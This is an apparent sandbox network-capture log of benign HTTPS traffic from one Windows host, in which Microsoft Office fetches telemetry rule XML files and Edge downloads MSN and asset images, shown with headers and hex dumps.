2024-10-27 16:54:39 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:39 UTC	584	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:39 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165439Z-16849878b78j7llf5vkyvvcehs00000004ug00000000g53f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-27 16:54:39 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:39 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:39 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 0426689f-101e-007a-5ef8-25047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165439Z-17c5cb586f6g6g2sbe6edp75y400000005t0000000009dh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:39 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:39 UTC	584	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:39 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165439Z-16849878b78z2wx67pvzz63kdg00000002dg000000009sfa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-27 16:54:39 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:39 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:39 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 18f8d736-c01e-00a2-252b-272327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165439Z-r197bdfb6b4hsj5bywyqk9r2xw000000051g00000000dmzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:39 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49909	13.107.246.57	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:39 UTC	543	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:39 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 3b7f99e2-a01e-0061-032b-282cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241027T165439Z-16849878b78nx5sne3fztmu6xc00000004v00000000040mc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-27 16:54:39 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49914	23.47.50.137	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:39 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 11 Sep 2024 22:24:40 GMT X-Datacenter: eastus X-ActivityId: ecd87907-a4d8-4e3e-996d-eb44e0e6146d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOP1 X-Source-Length: 93971 Content-Length: 93971 Cache-Control: public, max-age=365534 Expires: Thu, 31 Oct 2024 22:26:53 GMT Date: Sun, 27 Oct 2024 16:54:39 GMT Connection: close
2024-10-27 16:54:39 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-27 16:54:39 UTC	16384	IN	Data Raw: e6 a4 36 cb df b3 ba c7 b3 04 ed 90 f6 e2 c2 e6 e2 15 12 1c 08 23 50 44 21 50 5e 9a f9 a6 e1 58 88 88 04 75 48 8b 6b 98 b4 55 49 21 35 87 dd 35 26 9a 44 0e 7e 35 49 54 56 24 0a c4 e4 3a d3 25 88 82 73 12 46 2c 8f 29 d5 48 5d 8d c6 6d ee 35 cf db 1b cd 13 3b 65 ce 68 24 82 2e d8 34 30 69 78 42 73 cb ea e3 26 05 79 08 4a a2 ca 49 52 35 6d 63 cb 5c f6 87 76 43 9c 40 9c 23 10 01 c4 8f c4 49 02 4e 65 45 b3 aa 23 1d 30 c2 ef d6 d3 47 11 31 13 3d c0 55 c0 10 0c 29 02 b4 c1 ad 79 db 8a aa 65 6e a9 71 fa 29 25 31 ae 97 e2 b4 2c 69 c5 4d 28 96 43 62 66 0e 29 81 59 31 87 5a 6b 9a bc 6c 6b dc 58 de d3 88 37 17 71 6e 2b 56 04 90 3a 20 95 58 4e 0c 52 db c4 4f 75 a6 70 e9 d5 4b 52 aa 41 6c 45 6f 3e 54 f9 a5 34 8f 1c b8 26 d6 cd c8 02 b5 e4 26 38 d8 2d 03 88 ad 46 87 29 Data Ascii: 6#PD!P^XuHkUI!55&D~5ITV$:%sF,)H]m5;eh$.40ixBs&yJIR5mc\vC@#INeE#0G1=U)yenq)%1,iM(Cbf)Y1ZklkX7qn+V: XNROupKRAlEo>T4&&8-F)
2024-10-27 16:54:39 UTC	2690	IN	Data Raw: 83 cc 99 ce ca d2 0c 19 c8 45 ea b3 1d 04 82 d0 6b 50 e2 40 a7 28 77 ba a9 07 3a 4d 94 43 71 18 32 64 d6 b0 78 ac a2 c5 12 20 1e a2 6e d3 71 06 2b 65 9d 79 10 66 b4 f4 e1 6e aa 84 dc 52 d6 14 06 66 2a 6b aa 89 fc a6 bc bd 62 2b d5 05 65 d2 1c 5c 6f d2 f5 d3 45 0d 70 26 b4 eb 68 eb 62 86 58 e8 2e 83 84 10 31 65 26 48 f3 85 27 aa 0b b8 38 bc d2 4b 9c 60 61 10 0f 5b cc 92 2b ce 55 07 46 d9 93 6b 0b c9 b5 81 a4 0e 0b 9b 6c 12 1d 04 d8 d2 40 91 a7 59 d0 23 34 c0 6e 29 70 ac b6 63 3b 50 cd 4f ba 63 2a 21 bb 8e 26 03 45 04 34 90 db 6a e2 7f 95 b0 06 48 37 b4 52 63 50 7a 84 f0 b9 ae 20 c1 ce 41 11 c2 25 ab 0d a9 ac cd a8 01 12 33 e5 09 d3 3c 41 70 b4 35 bd d8 84 d6 86 87 4e a9 b8 b3 07 6f 6b ad 84 09 10 3f d4 4c c9 e8 2b a8 45 a3 59 63 06 7b 64 1f 5a 8f 9a 0e 17 Data Ascii: EkP@(w:MCq2dx nq+eyfnRfkb+e\oEp&hbX.1e&H'8K`a[+UFkl@Y#4n)pc;POc!&E4jH7RcPz A%3<Ap5Nok?L+EYc{dZ
2024-10-27 16:54:40 UTC	16384	IN	Data Raw: 14 b8 0f 4e b9 ab 76 28 e7 5a 6b c3 35 0e 0e 1e 95 f4 52 11 c4 48 87 54 92 0d 22 04 d2 49 92 ea 6b a4 28 34 a4 9b da 0f 9f 14 da 70 65 5c f2 a7 8a a4 23 43 32 22 b9 29 63 12 08 10 39 ce a7 4d 07 45 a2 97 32 3c 80 5a 3a 52 4c 4e 7c 8d 13 ec ac 12 22 22 73 f2 b4 75 41 49 34 98 a7 01 3c d1 71 54 b9 b2 09 6f 68 69 23 0d 73 24 54 08 88 9e b2 82 40 8b cf 0f 4b d3 ad 16 98 3d 3a 28 c8 21 25 f5 2e a9 26 4e 66 6a 49 d7 8a ac 2e 74 40 8a c6 84 f9 88 f1 55 4e 3b 8e 2d 71 6b 41 c2 d0 dc 20 32 70 80 2a 03 44 bb fc 8e 66 b2 8b 1b 85 a1 a5 ce 2d 93 86 7f f9 60 dd f8 66 9a 12 42 8f a4 05 a0 07 f7 8e d1 42 29 31 9e 19 b1 d0 d5 63 d9 af 1b 1e 08 bb 90 21 87 00 0d c5 07 ba b5 26 fa 7f 8d 05 ea b1 3f a8 c9 6b 81 6e 17 00 40 23 15 08 c4 1c 2a 30 e5 10 79 27 d0 7a b9 27 92 c4 Data Ascii: Nv(Zk5RHT"Ik(4pe\#C2")c9ME2<Z:RLN\|""suAI4<qTohi#s$T@K=:(!%.&NfjI.t@UN;-qkA 2pDf-`fBB)1c!&?kn@#0y'z'
2024-10-27 16:54:40 UTC	16384	IN	Data Raw: 6e 23 e4 b3 a7 1c bb e0 35 97 19 e5 04 71 b9 5e 6c 02 bd 1d d2 37 43 87 22 29 02 f6 f1 2b 91 f4 02 84 00 63 f8 5d ba b9 77 3d a1 86 e0 44 1e 28 db 83 b4 13 e0 20 ec e3 dc 34 6b 9d 11 20 02 6e 60 4c 5a 49 03 9a 37 73 e8 05 8d be 55 95 a7 30 66 20 c1 13 6a 64 8a 48 36 d3 c1 49 c2 8d 65 00 04 9b 00 65 d9 4d c8 11 41 60 67 55 23 6e b1 6e b9 7a 14 b2 23 0c 9b 13 59 cf d1 10 1d 79 75 01 0e 1c c7 12 08 31 40 5a 69 cc 13 06 a8 ed 70 ac d4 47 23 d1 2c 90 dc 6b 36 b7 19 fa f6 df 8c 34 07 38 1c 6c 73 4c e2 61 11 18 aa 08 a8 21 03 0e be 0e 53 d1 74 5e 48 14 a5 6f 1f 75 0e 69 00 45 ef 33 79 e8 b5 19 04 cb 25 a0 83 20 13 4e 30 24 48 ea 85 4f ba 39 6f dc a4 fd bc 39 f7 66 0c 53 dd 68 39 cb 6f 33 e8 b0 ed 24 5e 69 5f e5 18 17 03 42 68 71 37 a3 86 7c d4 ba 93 20 e2 26 a4 Data Ascii: n#5q^l7C")+c]w=D( 4k n`LZI7sU0f jdH6IeeMA`gU#nnz#Yyu1@ZipG#,k648lsLa!St^HouiE3y% N0$HO9o9fSh9o3$^i_Bhq7\| &
2024-10-27 16:54:40 UTC	7952	IN	Data Raw: d6 1d 84 56 26 2d 9f 43 c5 71 b1 df af 67 60 dd 18 48 ac c5 26 3c 59 75 7e ce d0 24 44 45 6e 34 8e 2b ca 79 c8 b6 1d 63 34 f2 1e cb 35 f0 d1 39 5f 2e 0b 18 e9 a7 f1 0f 20 35 c0 c9 b1 5e 46 eb 85 e6 78 7b af 53 71 8e c2 c7 90 40 7b 65 a4 d9 e2 48 91 c4 47 35 e5 6e 06 c7 e3 06 69 5b 5e 64 75 a4 55 6b aa ed 41 80 74 27 82 1b 99 4a 9a e5 4a 55 13 08 26 45 00 3d 68 ba 4f c6 6f 1d cd a7 3b 03 ff 00 4e db b6 58 1c c0 47 eb 38 86 12 22 b1 8c 90 4d 41 88 b2 f4 75 cf 7b 8f 3f 79 7d a6 bc e7 35 b3 35 c3 94 c0 3f 78 cd 22 d1 48 33 23 2c ab 63 d5 14 ed 81 5a 9e a8 a3 6d a4 08 9b d4 88 a0 d2 33 56 8e 35 ca e6 80 75 f4 e0 8c 36 c5 d1 06 db 4c 56 01 35 c8 fd 0a 4e a4 0c 56 14 a4 1b 9b eb cd 1a dc 86 dc 46 18 26 b1 49 89 39 7a a2 3b 6f 03 a2 67 0d ce 40 f3 f6 e6 82 0f 5e Data Ascii: V&-Cqg`H&<Yu~$DEn4+yc459_. 5^Fx{Sq@{eHG5ni[^duUkAt'JJU&E=hOo;NXG8"MAu{?y}55?x"H3#,cZm3V5u6LV5NVF&I9z;og@^
2024-10-27 16:54:40 UTC	16384	IN	Data Raw: 4a 69 a7 9b 1c 49 22 aa 12 59 fc 9f 71 c7 52 92 a2 92 3f 23 53 a5 fa 06 54 22 15 25 1f 94 fe 30 8a 19 45 28 65 6a 7c ba 3f 10 45 0c a2 94 32 b5 f9 47 e3 0c a1 94 42 a4 a7 f2 2f c6 1a 85 65 49 57 33 c1 17 52 55 15 32 b5 c9 70 4a 94 ca 92 53 3b 2e 09 2a 4a 72 a0 94 f2 5c 18 a9 5a 54 ca 79 2e 0c 52 52 5c a4 b9 5a b8 a9 64 32 f5 1f b1 06 75 1d 35 cf fb 02 df b9 a3 31 e6 8b 2f d1 a9 8e 89 4a 57 2b be 25 82 b8 82 03 be 31 83 aa 27 c7 df b7 fa 68 e7 d2 7f aa 7e af 43 10 54 1c bc 7f f7 cc ea 91 f8 e7 64 d3 c5 6b fd bf c9 7d 99 fc df 1c f7 7b ed 2b b7 6d b8 97 c6 3f fe 53 75 8e 22 02 bd bf f9 1f 8c 73 27 f6 96 5f fd 3e 81 72 ef fc 07 cb db df ac ff 00 9f 66 ba ff 00 19 f1 cf 19 da be e8 ec 3a 26 0a f2 be 23 7b 6f 6c c1 7b 47 49 5f 29 bb f1 9f 13 b9 47 6f 3c d2 c5 Data Ascii: JiI"YqR?#ST"%0E(ej\|?E2GB/eIW3RU2pJS;.*Jr\ZTy.RR\Zd2u51/JW+%1'h~CTdk}{+m?Su"s'_>rf:&#{ol{GI_)Go<
2024-10-27 16:54:40 UTC	1928	IN	Data Raw: a9 57 45 92 24 d1 0e b3 4a 2d 88 05 25 c0 73 44 8d 89 10 b2 8f d8 0a c0 f3 e0 ac 1a b5 51 55 18 b4 13 ea b6 37 73 1e e1 04 48 5a 88 12 6a 26 46 99 a8 c5 4d 47 a2 78 8d 74 62 01 6c 7f c7 d1 73 cc 18 3a 66 94 f8 36 f3 57 11 c9 d1 fb 2d d7 87 d9 2c 67 c7 82 82 09 e1 d0 cf b2 d3 cb ff 00 84 ab 8a da 3e 3f 02 16 c4 7c 7d c2 0c f3 f5 09 ce 77 e5 43 e4 ac 5a 36 29 f1 f7 58 1c 8d 34 28 53 9c c8 d0 dd 69 cd b4 e8 8c 3a 34 cb ba 8c c2 41 d2 26 e7 c6 88 77 a8 be 89 82 0b a6 ca c5 aa 92 e1 4e 23 f9 5a 97 b7 9f c9 4c c1 ee 17 cd 31 39 43 86 8a c2 ae b1 3e 47 ee 98 75 32 3d 2a 14 52 68 4b 4e 99 27 7f c8 7f dc 14 96 5d 84 67 c8 d4 2c 6a d0 44 18 50 45 2f 88 7b ad 43 f8 d0 e8 84 bc 41 c2 26 12 26 90 e1 4d 42 52 0d 1c 23 aa d2 e6 8a 59 48 c4 da 8e 1d 52 06 3f c9 be 89 1c Data Ascii: WE$J-%sDQU7sHZj&FMGxtbls:f6W-,g>?\|}wCZ6)X4(Si:4A&wN#ZL19C>Gu2=*RhKN']g,jDPE/{CA&&MBR#YHR?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49913	23.47.50.137	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
